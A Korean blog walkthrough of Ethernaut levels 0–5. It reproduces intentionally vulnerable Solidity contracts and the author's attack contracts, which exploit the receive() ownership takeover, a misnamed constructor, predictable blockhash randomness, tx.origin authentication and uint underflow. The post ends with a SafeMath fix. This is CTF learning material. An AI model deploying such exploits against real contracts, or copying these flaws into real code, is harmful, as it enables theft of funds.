Ethernaut Level 0~5

molly·2022년 12월 11일
2

스마트컨트랙트

목록 보기
1/4

Ethernaut이란?

오픈재플린에서 제공하는 스마트컨트랙트 취약점 해킹 게임
주어진 컨트랙트의 취약점을 파악하고 해킹하는게 목적

시작 계기

회사 분이 이 게임에 대해서 한 번 언급하신적이 있었고 저번달 코드게이트 갔을 때도 스마트컨트랙트 취약점 게임으로 Ethernaut을 사용하는 것을 보고 취약점 공부도 할 겸 시작하게 되었다.

준비물

https://ethernaut.openzeppelin.com/
메타마스크

Level0 - Ethernaut(난이도 1)

Level0은 나와있는 설명대로 콘솔을 잘 사용한다면 쉽게 해결할 수 있다... 사실 게임을 시작하기 위한 튜토리얼 같은 느낌이다. 난이도를 1로 설정한 이유는 그래도 콘솔을 통한 게임은 처임이였기에 난이도는 1로 했다.

해결

  1. 지갑 연결 후 google에 goerli faucet을 검색하고 테스트이더를 받는다. 트랜잭션을 발생하려면 테스트 이더가 있어야 하니까
  2. 콘솔을 열고 명령어들 입력하면서 감을 찾는다.
  3. contract.info() 을 시작으로 패스워드를 찾고 contract.authenticate(password)을 입력하고 인스턴스를 제출하면 클리어

Level1 - Fallback(난이도 1)

fallback은 스마트컨트랙트로 돈을 보낼 시에 불려진 함수가 없을 때 스마트컨트랙트에서 fallback함수를 실행하게 되는 것을 의미하고 아래와 같은 로직으로 구성되어 있다.

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {

  mapping(address => uint) public contributions;
  address public owner;

  constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    payable(owner).transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

onlyOwner 모디파이어
- 모디파이어를 선언 함으로써 msg.sender가 오너가 아니라면 "caller is not the owner”라는 문구가 나오면서 해당 함수는 진행되지 않는다.
contribute()
- msg.value(컨트랙트에 들어오는 이더)가 0.001이더보다 작으면 해당 함수가 실행된다.
- msg.sender의 이더벨류가 owner의 이더밸류보다 높다면 오너는 메시지센더이다
getContribution()
- contributions 조회
withdraw()
- owner에게 ca.balance를 모두 전송
receive()
- ca.balance가 0보다 크거나 msg.sender의 contributions이 0보다 크면 해당 함수가 실행된 다.
- owner는 msg.sender이다
- 스마트컨트랙트가 이더를 받게 된다면 실행되는 함수

문제

컨트랙트의 소유권 주장 및 CA balance값 0으로 만들기

핵심

receive함수는 컨트랙트가 이더를 받을 때 작동함.

해결

contribute 함수를 통해서도 owner가 될 수 있는데 해당 함수는 기존 오너의 contribution보다 나의 contribution가 더 커야 하는데 기존 오너의 contribution가 1000이더임으로 불가능하다.
그렇다면 receive함수를 통해 owner가 될 수 있었고 contract.send(잔액)을 통해 컨트랙트에 이더를 입금하였다.(잔액 단위는 toWei(이더)를 사용하면 알 수 있음) owner가 내 계정으로 변경된게 확인 된 후 withdraw 함수를 통해 CA 밸런스값을 0으로 만들었다.

결론

어떤 취약점이 있는지는 잘 모르겠는 컨트랙트였고 receive나 fallback함수가 무엇인지 알아가라는 의미의 문제였던거 같다.

Level2 - Fallout(난이도 1)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

safeMath
- uint256 자료형은 0부터 2^256-1 만큼의 값을 제공
- 범위 이하의 값을 할당하거나, 범위 이상의 값을 할당하는 경우 언더플로, 오버플로 문제가 발생
- 위의 문제를 방지하여 주는 라이브러리
allocate()
- allocations에 msg.value를 더함
sendAllocation(address)
- allocations[allocator] > 0 일 때 함수 실행
- address에게 alloactions에 저장된 address의 balance값을 전송
collectAllocations()
- msg.sender에게 ca.balance값을 전송
allocatorBalance(address)
- address의 allocations 값 조회

문제

컨트랙트의 소유권 주장

핵심

생성자

해결

소유권을 나에게 넘기는 함수인 fallout 함수를 실행하여 해결함.
너무 간단한게 해결 되어서 당황함...
어이가 없어서 다른 블로그를 찾아봤는데 생성자 함수가 fallout로 선언된 게 아닌 fal1out으로 l을 1로 장난질을 했다. 이유는 아마 생성자를 선언할 때는 constructor()로 선언을 하라고 그러는 거 같다.
생각을 해보니 fallout함수는 생성자로 선언되어 있는건데 나는 평소 생성자는 constructor로 선언을 하였기에 아무 의심없이 그냥 fallout함수를 사용을 했다...

Level3 Coin Flip(난이도 2)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

flip(bool)
- blockValue는 전 블록 해쉬 넘버
- 만약 lastHash == blockValue이면 예외 발생
- lastHash는 blockValue
- coinFlip는 blockValue/Factor
- side는 coinFlip == 1이면 true, 아니면 false
- side와 사용자가 입력한 bool값이 같으면 consecutiveWins는 1증가하고 true를 반환한다.
- side와 사용자가 입력한 bool값이 다르면 consecutiveWins는 0이고 false를 반환한다.

문제

10연승을 달성하여라

핵심

선언되어 있는 contract를 불러와 외부에서 실행

해결

이길 수 있는 알고리즘 내용이 함수에 있기에 쉽게 true가 나올 수 있는 값 추출 가능할 것이라 생각
처음 어택 코드를 단순히 내가 입력한 값이 true가 만는지를 체크하는 로직으로 구성했는데 이렇게 하면 매블록이 생성되기 전 블록의 해쉬를 알아서 체크를 해서 내가 직접 bool값을 입력했는데 불규칙한 트랜잭션 생성 속에서 그렇게 하기엔 쉽지가 않았고 테스트넷에 배포된 위의 컨트랙트에 내가 만든 컨트랙트로 접근하여 문제를 해결 할 수 있겠다 생각하여 아래와 같은 테스트 코드를 만들어 게임을 진행하였다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract MycoinFlip {
    CoinFlip public mycoinFlip;

    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
    constructor(address _attack) {
            mycoinFlip = CoinFlip(_attack);
    }
    
    function testflip() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
         if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;
        mycoinFlip.flip(side);
    }
}

testflip()
- coinflip의 인스턴스를 만들어 컨트랙트 인스턴스에 계산된 bool언 값을 전송

Level4 Telephone(난이도 1)

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

changeOwner(address)
- tx.origin ⇒ 트랜잭션을 최초로 보낸 EOA
- msg.sender ⇒ 트랜잭션을 마지막으로 보낸 EOA 또는 CA
- 이 값은 컨트랙트의 인증작업이 적합하지 않음
- 컨트랙트 call address와 컨트랙트 owner가 같지않으면 owner는 입력된 address이다.

문제

계약의 소유권을 주장

핵심

tx.origin과 msg.sender의 차이

해결

현재 msg.sender ⇒ 0x1ca9f1c518ec5681C2B7F97c7385C0164c3A22Fe
tx.origin ⇒ 0x1ca9f1c518ec5681C2B7F97c7385C0164c3A22Fe
컨트랙트를 실행하는 자도 내 지갑이 아닌 0x1ca9f1c518ec5681C2B7F97c7385C0164c3A22Fe 이기에 컨트랙트를 만들어 직접 위의 스마트컨트랙트에 내가 만든 CA로 접근하여 if 조건을 충족하여 해결 하였다.

Level5 Token(난이도 2)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

constructor(uint)
- 토큰의 발행량(uint)만큼 밸런스 값 저장
transfer(address, uint)
- msg.sender의 밸런스 값에 입력값을 마이너스 하였을 때 0이랑 같거나 크다면 코드 진행
- msg.sender의 밸런스는 감소, 전송받는 address의 밸런스는 증가
balanceOf(address _owner)
- _owner의 밸런스값 조회

문제

위의 컨트랙트를 해킹
처음에는 20개의 토큰이 주어지며 추가 토큰을 획득한다면 이기는 것

핵심

언더플로우, 오버플로우

해결

이 코드의 문제는 언더플로,오버플로의 문제였으며 솔리디티를 작성하면서 연산에 관한 로직이 있다면 무조건 신경써야 할 문제임
해당 문제는 마스터링 이더리움에서 본 적이 있음
이번 문제는 해결 코드도 간단하게 작성을 해 봄
[오버플로우, 언더플로우]

  • uint8= (2^8)-1
  • uint256 = uint = (2^256)-1
  • uint8타입의 변수가 0일 때 -1을 한다면 언더플로우가 발생해 변수의 값은 255가 됨
  • uint8타입의 변수가 0일 때 257을 더하면 오버플로우 발생으로 변수값은 1이 됨
  • 부호 있는 타입의 변수 경우, 가장 큰 음수에 도달했을 때, 여기에 -1을 하면, 언더플로우가 발생하여 최 대의 양수값을 가지게 됨
  • 부호가 없는 숫자일 경우, 감소하다가 언더플로우가 발생하면 최댓값이 됨
  • 위의 코드(require(balances[msg.sender] - _value >= 0);)는 _value값으로 10000000을 전달함으로써 부호가 없는 숫자 0(msg.sender의 balance)에서 언더플로우가 발생해서 msg.sender(attack CA)의 밸런스 값이 최댓값을 가지게 됨(1만 전달을 해도 됨)

공격 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./Token.sol";

contract Attack {
    Token public myToken;

    constructor(address _attack) public {
        myToken = Token(_attack);
    }
    function attack(address _to, uint _value) public {
        myToken.transfer(_to,_value);
    }  
}

해결 코드

openzeppelin에서 제공한 SafeMath 라이브러리 사용

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//import 'openzeppelin-contracts-06/math/SafeMath.sol';
import "./SafeMath.sol";
contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    //require(balances[msg.sender] - _value >= 0);
    require(SafeMath.sub(balances[msg.sender],_value) >=0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
profile
BlockChain R&D

0개의 댓글